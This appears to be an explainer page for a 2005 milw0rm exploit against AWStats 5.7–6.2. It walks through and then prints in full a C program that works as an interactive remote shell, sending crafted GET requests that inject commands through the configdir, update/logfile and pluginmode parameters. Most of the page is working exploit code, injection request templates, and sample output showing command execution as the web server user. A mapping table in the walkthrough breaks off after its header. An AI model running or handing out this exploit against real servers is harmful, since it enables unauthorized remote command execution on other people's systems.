AWStats 5.7 < 6.2 Remote Command Execution Exploit Explained

AWStats 5.7 < 6.2 Remote Command Execution Exploit Explained
What this paper is
This paper details a vulnerability in AWStats versions 5.7 through 6.2 that allows for remote command execution. The exploit presented is a C program that acts as a remote shell, enabling an attacker to run arbitrary commands on the vulnerable server with the same privileges as the web server process (typically www-data or httpd). The exploit leverages three different methods to achieve this.
Simple technical breakdown
AWStats is a web analytics program that processes web server log files. It's often deployed as a CGI script. The vulnerability lies in how AWStats handles certain parameters passed to its CGI script. By crafting specific HTTP requests, an attacker can inject and execute arbitrary commands. The exploit code automates this process by:
- Connecting to the target server: It establishes a TCP connection to the web server hosting AWStats.
- Selecting an exploit method: The user chooses one of three methods to exploit the vulnerability.
- Constructing a malicious URL: Based on the chosen method, it builds a URL that includes the command to be executed.
- Sending the HTTP request: It sends a GET request with the crafted URL to the AWStats CGI script.
- Capturing and displaying output: It reads the response from the server, looking for specific markers to extract the output of the executed command, and then displays it to the user.
- Looping for continuous access: The exploit runs in a loop, allowing the user to enter multiple commands, simulating a shell.
The exploit uses "magic strings" (DTORS_START and DTORS_STOP) to delimit the command output within the server's response, making it easier to parse.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break it down section by section.
Includes and Definitions:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 80
#define CMD_BUFFER 512
#define IN_BUFFER 10000
#define MAGIC_START "DTORS_START"
#define MAGIC_STOP "DTORS_STOP"- Includes: Standard C libraries for input/output, memory allocation, string manipulation, system calls, and network programming.
PORT 80: Defines the default HTTP port.CMD_BUFFER 512: Maximum size for commands to be sent.IN_BUFFER 10000: Maximum size for incoming data from the server.MAGIC_START "DTORS_START"/MAGIC_STOP "DTORS_STOP": These are special strings used to identify the beginning and end of the command output within the HTTP response. This helps the exploit parse the data correctly.
usage Function:
void usage(char *argv[]){
printf("Usage: %s [options] <host>\n" , argv[0]);
printf("Options:\n");
printf(" -d <awstats_dir> directory of awstats script\n");
printf(" '/cgi-bin/awstats.pl' is default\n");
printf(" if no directory is specified\n\n");
printf(" -v verbose mode (optional)\n\n");
printf("example: %s -d /stats/awstats.pl website.com\n\n", argv[0]);
exit(1);
}- Purpose: This function prints help information to the user if the program is not invoked with the correct arguments or if the user requests help.
- Inputs:
argv(array of command-line arguments). - Behavior: Prints usage instructions and exits the program.
- Output: Text to
stdout.
main Function - Argument Parsing and Initialization:
int main(int argc, char *argv[]){
FILE *output;
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
char *host_name=NULL, *awstats_dir=NULL;
char cmd[CMD_BUFFER], cmd_url[CMD_BUFFER*3], incoming[IN_BUFFER], tmp, c, cli_opt;
int i, j, flag, method, verbose=0;
// ... (rest of main function)
}- Variables:
output: File pointer for the socket connection.sockfd: Socket file descriptor.addr: Structure for server address information.host: Structure to hold host information (IP address, etc.).host_name: Pointer to store the hostname (not directly used for connection but could be for logging).awstats_dir: Pointer to store the path to the AWStats CGI script. Defaults to/cgi-bin/awstats.pl.cmd: Buffer to hold the user's command.cmd_url: Buffer to hold the URL-encoded command.incoming: Buffer to store data received from the server.tmp,c: Temporary characters for reading data.cli_opt: Character to store the current command-line option.i,j: Loop counters.flag: Used to check the return value ofread.method: Stores the chosen exploit method (1, 2, or 3).verbose: Flag to enable verbose output.
if(argc < 2){
usage(argv);
}
printf("Awstats 5.7 - 6.2 exploit Shell 0.1\n");
printf("code by omin0us\n");
printf("dtors security group\n");
printf(".: http://dtors.ath.cx :.\n");
printf("--------------------------------------\n");
while(1){
cli_opt = getopt(argc, argv, "h:d:v"); // Note: 'h' is not handled, but 'd' and 'v' are.
if(cli_opt < 0)
break;
switch(cli_opt){
case 'v':
verbose = 1;
break;
case 'd':
awstats_dir = optarg;
break;
}
}
if((optind >= argc) || (strcmp(argv[optind], "-") == 0)){
printf("Please specify a Host\n");
usage(argv);
}
if(!awstats_dir){
awstats_dir = "/cgi-bin/awstats.pl";
}- Argument Checking:
- Checks if at least one argument is provided. If not, calls
usage. - Prints banner information.
- Uses
getoptto parse command-line options:-v: Setsverboseto 1.-d <awstats_dir>: Setsawstats_dirto the provided argument.
- Checks if a hostname is provided after options (
optindpoints to the first non-option argument). If not, or if it's a hyphen (-), it prints an error and callsusage. - If
awstats_dirwas not specified via-d, it defaults to/cgi-bin/awstats.pl.
- Checks if at least one argument is provided. If not, calls
Method Selection:
printf("select exploit method:\n"
"\t1. ?configdir=|cmd}\n"
"\t2. ?update=1&logfile=|cmd|\n"
"\t3. ?pluginmode=:system(\"cmd\");\n");
while(method != '1' && method != '2' && method != '3'){
printf("\nmethod [1/2/3]? ");
method = getchar();
}- Purpose: Prompts the user to select one of the three available exploitation methods.
- Behavior: Reads a single character from standard input. The loop continues until the user enters '1', '2', or '3'.
Main Exploit Loop:
printf("starting shell...\n(ctrl+c to exit)\n");
while(1){ // This is the main loop for interactive shell commands
i=0;
j=0;
memset(cmd, 0, CMD_BUFFER);
memset(cmd_url, 0, CMD_BUFFER*3);
memset(incoming, 0, IN_BUFFER);
// Socket creation and connection
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Error creating socket\n");
exit(1);
}
if((host = gethostbyname(argv[optind])) == NULL){
printf("Could not resolv host\n");
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr = *((struct in_addr *)host->h_addr);
if( connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) != 0){
printf("Count not connect to host\n");
exit(1);
}
// Prepare socket for writing
output = fdopen(sockfd, "a");
setbuf(output, NULL); // Disable buffering for immediate sending
printf("sh3ll> ");
fgets(cmd, CMD_BUFFER-1, stdin);
if(verbose)
printf("Connecting to %s (%s)...\n", host->h_name, inet_ntoa(*((struct in_addr *)host->h_addr)));
// Handle empty command input (defaults to 'id')
cmd[strlen(cmd)-1] = '\0'; // Remove newline from fgets
if(strlen(cmd) == 0){
cmd[0]='i';
cmd[1]='d';
cmd[3]='\0'; // This looks like a typo, should likely be cmd[2]='\0' for "id"
}
// URL encode the command
for(i=0; i<strlen(cmd); i++){
c = cmd[i];
if(c == ' '){
cmd_url[j++] = '%';
cmd_url[j++] = '2';
cmd_url[j++] = '0';
}
else{
cmd_url[j++] = c;
}
}
cmd_url[j] = '\0';
// Construct and send HTTP request based on selected method
if(method == '1'){
// Method 1: ?configdir=|echo;echo+MAGIC_START;CMD;echo+MAGIC_STOP;echo|
if(verbose){
printf("Sending Request\n");
printf("GET %s?configdir=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);
}
fprintf(output, "GET %s?configdir=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);
}
if(method == '2'){
// Method 2: ?update=1&logfile=|echo;echo+MAGIC_START;CMD;echo+MAGIC_STOP;echo|
if(verbose){
printf("Sending Request\n");
printf("GET %s?update=1&logfile=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);
}
fprintf(output, "GET %s?update=1&logfile=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);
}
if(method == '3'){
// Method 3: ?pluginmode=:system("echo+MAGIC_START;CMD;echo+MAGIC_STOP");
if(verbose){
printf("Sending Request\n");
printf("GET %s?pluginmode=:system(\"echo+%s;%s;echo+%s\"); HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Host: %s\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP, argv[optind]);
}
fprintf(output, "GET %s?pluginmode=:system(\"echo+%s;%s;echo+%s\"); HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Host: %s\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP, argv[optind]);
}
// Receive and parse output
i=0;
// Read until MAGIC_START is found
while(strstr(incoming, MAGIC_START) == NULL){
flag = read(sockfd, &tmp, 1);
incoming[i++] = tmp;
if(i >= IN_BUFFER){
printf("flag [-] incoming buffer full\n");
exit(1);
}
if(flag==0){ // Connection closed by server prematurely
printf("exploitation of host failed\n");
exit(1);
}
}
// Read until MAGIC_STOP is found, printing characters as they arrive
while(strstr(incoming, MAGIC_STOP) == NULL){
read(sockfd,&tmp,1);
incoming[i++] = tmp;
putchar(tmp); // Display command output in real-time
if(i >= IN_BUFFER){
printf("putchar [-] incoming buffer full\n");
exit(1);
}
}
printf("\n"); // Newline after command output
// Clean up and close connection for this command
shutdown(sockfd, SHUT_WR);
close(sockfd);
fclose(output);
} // End of main exploit loop
return(0);
}- Socket Operations:
- Creates a TCP socket (
socket). - Resolves the target hostname to an IP address (
gethostbyname). - Sets up the server address structure (
sockaddr_in). - Connects to the target server (
connect). - Opens the socket for writing in append mode (
fdopen) and disables buffering (setbuf(output, NULL)) to ensure immediate sending of HTTP requests.
- Creates a TCP socket (
- Command Input and Encoding:
- Prompts the user with
sh3ll>. - Reads the command using
fgets. - Removes the trailing newline character from
fgets. - Default Command: If the user presses Enter without typing a command, it defaults to executing
id. Note: There's a potential typocmd[3]='\0'which should likely becmd[2]='\0'to correctly form "id". - URL Encoding: Iterates through the command string and replaces spaces (
) with their URL-encoded equivalent (%20). This is crucial because spaces are not allowed directly in URL paths.
- Prompts the user with
- HTTP Request Construction:
- Method 1 (
?configdir=|cmd}):- Constructs a GET request like:
GET /cgi-bin/awstats.pl?configdir=|echo;echo+DTORS_START;YOUR_CMD;echo+DTORS_STOP;echo| HTTP/1.0\n\n - The
configdirparameter is vulnerable. The|(pipe) character is used to chain commands. echo;echo+MAGIC_START;YOUR_CMD;echo+MAGIC_STOP;echois used to wrap the actual command output with the magic strings. Theecho;at the beginning and end are to ensure that any default AWStats output is also captured between the magic strings, or to ensure the magic strings appear on their own lines.
- Constructs a GET request like:
- Method 2 (
?update=1&logfile=|cmd|):- Constructs a GET request like:
GET /cgi-bin/awstats.pl?update=1&logfile=|echo;echo+DTORS_START;YOUR_CMD;echo+DTORS_STOP;echo| HTTP/1.0\n\n - The
logfileparameter is vulnerable whenupdate=1is present. Similar command chaining and output wrapping is used.
- Constructs a GET request like:
- Method 3 (
?pluginmode=:system("cmd");):- Constructs a GET request like:
GET /cgi-bin/awstats.pl?pluginmode=:system("echo+DTORS_START;YOUR_CMD;echo+DTORS_STOP"); HTTP/1.0\nConnection: Keep-Alive\nHost: TARGET_HOST\n\n - The
pluginmodeparameter is vulnerable. It allows direct execution of PHP/Perl code (depending on AWStats's backend). Here, it's used to call asystem()function (common in scripting languages) to execute the command. - The
Connection: Keep-AliveandHostheaders are included, which might be necessary for some web server configurations or for thepluginmodeto function correctly.
- Constructs a GET request like:
- Method 1 (
- Output Reception and Parsing:
- The code enters a loop to read data from the socket.
- It first reads byte by byte into the
incomingbuffer untilMAGIC_STARTis found. This part discards any HTTP headers or initial output before the command result. - Once
MAGIC_STARTis detected, it continues reading byte by byte and prints each character tostdout(putchar(tmp)) untilMAGIC_STOPis found. This effectively displays the command's output as it's received. - Includes checks for buffer overflow (
i >= IN_BUFFER) and premature connection closure (flag == 0).
- Cleanup:
- After receiving the output, the socket is shut down for writing (
shutdown(sockfd, SHUT_WR)), closed (close(sockfd)), and the file stream is closed (fclose(output)). - The
while(1)loop then repeats, allowing the user to enter another command.
- After receiving the output, the socket is shut down for writing (
Code Fragment -> Practical Purpose Mapping:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/*
* Awstats exploit "shell"
* code by omin0us
* omin0us208 [at] gmail [dot] com
* dtors security group
* .:( http://dtors.ath.cx ):.
*
* Vulnerability reported by iDEFENSE
* pluginmode bug has been found by GHC team.
*
* The awstats exploit that was discovered allows
* a user to execute arbitrary commands on the
* remote server with the privileges of the httpd
*
* This exploit combines all three methods of exploitation
* and acts as a remote "shell", parsing all returned
* data to display command output and running in a loop
* for continuous access.
*
* bash-2.05b$ awstats_shell localhost
* Awstats 5.7 - 6.2 exploit Shell 0.1
* code by omin0us
* dtors security group
* .: http://dtors.ath.cx :.
* --------------------------------------
* select exploit method:
* 1. ?configdir=|cmd}
* 2. ?update=1&logfile=|cmd|
* 3. ?pluginmode=:system("cmd");
*
* method [1/2/3]? 1
* starting shell...
* (ctrl+c to exit)
* sh3ll> id
* uid=80(www) gid=80(www) groups=80(www)
* DTORS_STOP
* sh3ll> uname -a
*
* FreeBSD omin0us.dtors.ath.cx 4.8-RELEASE FreeBSD 4.8-RELEASE #3: Mon Oct 11
* 19:34:01 EDT 2004 omin0us@localhost:/usr/src/sys/compile/DTORS i386
* DTORS_STOP
* sh3ll>
*
* this is licensed under the GPL
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 80
#define CMD_BUFFER 512
#define IN_BUFFER 10000
#define MAGIC_START "DTORS_START"
#define MAGIC_STOP "DTORS_STOP"
void usage(char *argv[]);
int main(int argc, char *argv[]){
FILE *output;
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
char *host_name=NULL, *awstats_dir=NULL;
char cmd[CMD_BUFFER], cmd_url[CMD_BUFFER*3], incoming[IN_BUFFER], tmp, c, cli_opt;
int i, j, flag, method, verbose=0;
if(argc < 2){
usage(argv);
}
printf("Awstats 5.7 - 6.2 exploit Shell 0.1\n");
printf("code by omin0us\n");
printf("dtors security group\n");
printf(".: http://dtors.ath.cx :.\n");
printf("--------------------------------------\n");
while(1){
cli_opt = getopt(argc, argv, "h:d:v");
if(cli_opt < 0)
break;
switch(cli_opt){
case 'v':
verbose = 1;
break;
case 'd':
awstats_dir = optarg;
break;
}
}
if((optind >= argc) || (strcmp(argv[optind], "-") == 0)){
printf("Please specify a Host\n");
usage(argv);
}
if(!awstats_dir){
awstats_dir = "/cgi-bin/awstats.pl";
}
printf("select exploit method:\n"
"\t1. ?configdir=|cmd}\n"
"\t2. ?update=1&logfile=|cmd|\n"
"\t3. ?pluginmode=:system(\"cmd\");\n");
while(method != '1' && method != '2' && method != '3'){
printf("\nmethod [1/2/3]? ");
method = getchar();
}
printf("starting shell...\n(ctrl+c to exit)\n");
while(1){
i=0;
j=0;
memset(cmd, 0, CMD_BUFFER);
memset(cmd_url, 0, CMD_BUFFER*3);
memset(incoming, 0, IN_BUFFER);
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Error creating socket\n");
exit(1);
}
if((host = gethostbyname(argv[optind])) == NULL){
printf("Could not resolv host\n");
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr = *((struct in_addr *)host->h_addr);
printf("sh3ll> ");
fgets(cmd, CMD_BUFFER-1, stdin);
if(verbose)
printf("Connecting to %s (%s)...\n", host->h_name, inet_ntoa(*((struct in_addr *)host->h_addr)));
if( connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) != 0){
printf("Count not connect to host\n");
exit(1);
}
output = fdopen(sockfd, "a");
setbuf(output, NULL);
cmd[strlen(cmd)-1] = '\0';
if(strlen(cmd) == 0){
cmd[0]='i';
cmd[1]='d';
cmd[3]='\0';
}
for(i=0; i<strlen(cmd); i++){
c = cmd[i];
if(c == ' '){
cmd_url[j++] = '%';
cmd_url[j++] = '2';
cmd_url[j++] = '0';
}
else{
cmd_url[j++] = c;
}
}
cmd_url[j] = '\0';
if(method == '1'){
if(verbose){
printf("Sending Request\n");
printf("GET %s?configdir=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);
}
fprintf(output, "GET %s?configdir=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);
}
if(method == '2'){
if(verbose){
printf("Sending Request\n");
printf("GET %s?update=1&logfile=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);
}
fprintf(output, "GET %s?update=1&logfile=|echo;echo+%s;%s;echo+%s;echo| HTTP/1.0\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP);
}
if(method == '3'){
if(verbose){
printf("Sending Request\n");
printf("GET %s?pluginmode=:system(\"echo+%s;%s;echo+%s\"); HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Host: %s\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP, argv[optind]);
}
fprintf(output, "GET %s?pluginmode=:system(\"echo+%s;%s;echo+%s\"); HTTP/1.0\n"
"Connection: Keep-Alive\n"
"Host: %s\n\n", awstats_dir, MAGIC_START, cmd_url, MAGIC_STOP, argv[optind]);
}
i=0;
while(strstr(incoming, MAGIC_START) == NULL){
flag = read(sockfd, &tmp, 1);
incoming[i++] = tmp;
if(i >= IN_BUFFER){
printf("flag [-] incoming buffer full\n");
exit(1);
}
if(flag==0){
printf("exploitation of host failed\n");
exit(1);
}
}
while(strstr(incoming, MAGIC_STOP) == NULL){
read(sockfd,&tmp,1);
incoming[i++] = tmp;
putchar(tmp);
if(i >= IN_BUFFER){
printf("putchar [-] incoming buffer full\n");
exit(1);
}
}
printf("\n");
shutdown(sockfd, SHUT_WR);
close(sockfd);
fclose(output);
}
return(0);
}
void usage(char *argv[]){
printf("Usage: %s [options] <host>\n" , argv[0]);
printf("Options:\n");
printf(" -d <awstats_dir> directory of awstats script\n");
printf(" '/cgi-bin/awstats.pl' is default\n");
printf(" if no directory is specified\n\n");
printf(" -v verbose mode (optional)\n\n");
printf("example: %s -d /stats/awstats.pl website.com\n\n", argv[0]);
exit(1);
}
// milw0rm.com [2005-03-02]